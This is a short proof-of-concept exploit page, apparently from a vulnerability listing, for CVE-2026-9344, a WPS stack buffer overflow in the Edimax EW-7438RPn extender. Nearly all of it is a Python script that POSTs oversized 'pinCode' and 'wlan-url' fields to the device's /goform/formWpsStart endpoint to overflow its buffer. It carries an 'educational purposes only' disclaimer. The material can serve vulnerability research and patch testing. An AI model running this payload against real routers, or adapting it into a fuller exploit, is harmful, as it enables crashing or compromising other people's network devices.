CVE-2026-9344 Edimax EW-7438RPn WPS栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-9344 PoC - Edimax EW-7438RPn WPS Stack Buffer Overflow Note: This PoC is for educational and security research purposes only. """ import requests import sys target = "http://target-device-ip" def exploit_wps_overflow(target_ip): """Exploit the WPS buffer overflow vulnerability in Edimax EW-7438RPn""" target = f"http://{target_ip}" # Prepare the malicious payload with oversized pinCode # The buffer overflow occurs when pinCode exceeds expected length payload_pincode = "A" * 1000 # Overflow payload # Alternative: Use oversized wlan-url parameter payload_wlan_url = "A" * 800 endpoint = f"{target}/goform/formWpsStart" # Attempt to trigger the buffer overflow data = { "pinCode": payload_pincode, "wlan-url": payload_wlan_url } print(f"[*] Sending exploit payload to {endpoint}") print(f"[*] Payload length: {len(payload_pincode)} bytes") try: response = requests.post(endpoint, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit_wps_overflow(sys.argv[1])